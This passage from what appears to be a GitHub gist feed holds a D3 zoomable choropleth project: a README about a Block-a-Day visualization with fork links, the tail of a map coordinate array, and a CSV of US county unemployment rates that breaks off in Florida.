-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/f644e13737e8a14417ebbd4374e1281b">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/3dd69f510085138459f3b2702347563f</link>
      <guid isPermaLink="true">https://gist.github.com/3dd69f510085138459f3b2702347563f</guid>
      <pubDate>Wed, 21 Sep 2016 18:08:32 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:08:32.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>4741</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6309</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
